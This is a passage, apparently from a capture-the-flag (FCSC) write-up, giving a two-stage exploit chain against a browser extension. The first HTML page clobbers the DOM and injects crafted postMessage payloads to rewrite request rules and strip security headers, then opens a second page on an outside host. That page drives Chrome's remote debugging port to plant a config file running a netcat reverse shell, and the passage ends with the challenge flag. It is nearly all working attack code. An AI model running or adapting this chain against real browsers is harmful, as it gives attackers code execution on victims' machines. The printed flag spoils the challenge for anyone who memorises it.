: Contains the exploit of the first part but change DNR rule and redirect to the second part of the exploit<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
//To be accessible from document.head.parentElement
let payload_div = "<div id='parentElement'></div>";
//Build our payload for execution
let payload = "<html><body><iframe srcdoc='";
//Reiframe extension to access chrome API
payload += `<iframe name="head" src="../side_panel/index.html"></iframe>`;
//Payload to broke Object of loaded iframe and then force the postMessage to be interpreted in the newest created one
payload += `<script async data-debug="1" data-keyname="top" data-mainfunc="Object" src="../bundle.js"></script>`;
//Replace importScripts by startMonitoring to avoid the error in backgroundScript and pollute action to replace all available rules by the one we want (remove Content-Type header)
payload += `<script async data-debug="1" data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='{"type": "modifyHeaders", "requestHeaders": [{"header":"Origin","operation":"remove"}],"responseHeaders":[{"header":"content-security-policy","operation":"remove"},{"header":"Access-Control-Allow-Origin","operation":"set","value":"*"},{"header":"X-Frame-Options","operation":"remove"}]}' src="../bundle.js"></script>`;
//Used to slow down page loading and force iframe body to be loaded
for(var i=0; i<1000; i++) {
payload += `<style>@import "//localhost:7777";</style>`;
}
//Dom clobbering to trigger the injection in contentScript to hijack the loaded script
payload += `<img name="currentScript" src="../backgroundScript.js?a="></img>`;
//Used to slow down page loading and force iframe body to be loaded
for(var i=0; i<1000; i++) {
payload += `<style>@import "//localhost:7777";</style>`;
}
//Used to inject script to the iframe with id 'head'
payload += `<script defer src="../contentScript.js"></script>`;
//Close iframe
payload += "'></iframe></body></html>";
//Wait two seconds before sending payload
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
setTimeout(() => {
for(var i=0; i<1000; i++){
window.postMessage({
action: "update_counts",
domain: payload_div,
counts: {},
resourceCounts: {}
}, '*');
}
},2050);
setTimeout(() => {
window.open(`https://worty.fr/payloads/fcsc/step2.html`)
}, 15000);
}
//Used to automatically open the panel after the bot click on the button
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
step2.html
: Will write the evil config file through devtools<!DOCTYPE HTML>
<head>
<script>window.module = {exports:{}}</script>
<script src="https://cdn.jsdelivr.net/npm/chrome-remote-interface@0.33.3/chrome-remote-interface.min.js" onload="window.CDP = module.exports.CDP"></script>
<script>
let Page, Runtime;
async function run(ws){
window.criRequest = function(options, cb) {
console.log(options)
if(options.path == '/json/list'){
cb(null, JSON.stringify([{"webSocketDebuggerUrl": ws}]))
}
}
try{
const client = await window.CDP({local:true});
({ Page, Runtime } = client);
let path = "/tmp/.config/puppeteer/";
let file = "config.js";
await writeFile(path, file, `require("child_process").execSync("nc ip port -e /bin/sh");`);
}catch(e){console.log(e);}
}
async function writeFile(path, filename, content){
await Page.setDownloadBehavior({behavior: "allow", downloadPath: path});
const expression = `var myBlob = new Blob([\`${content}\`], {type: "aa/aa"});
blobURL = URL.createObjectURL(myBlob);
var link = document.createElement("a");
link.setAttribute("href", blobURL);
link.setAttribute("download", "${filename}");
document.body.appendChild(link);
link.click();
blobURL`;
const { result } = await Runtime.evaluate({expression});
return result.value;
}
async function exploit(){
let debug_info = await fetch("http://localhost:33389/json").then((resp) => {return resp.json();}).then((resp) => {return resp;});
await run(debug_info[0]["webSocketDebuggerUrl"]);
let ws = new WebSocket(debug_info[0]["webSocketDebuggerUrl"]);
ws.onmessage = (event) => {
console.log(event.data);
}
}
exploit();
</script>
</head>
<body>
</body>
Let's run our exploit ! Just don't forget to change in the step2.html
file the remote debugging port given when you connect to the remote instance :
Challenge's flag.
FCSC{8dce76cea7acce534c44e8220390d678f15155572397696f42cd6f67fb1cd09f}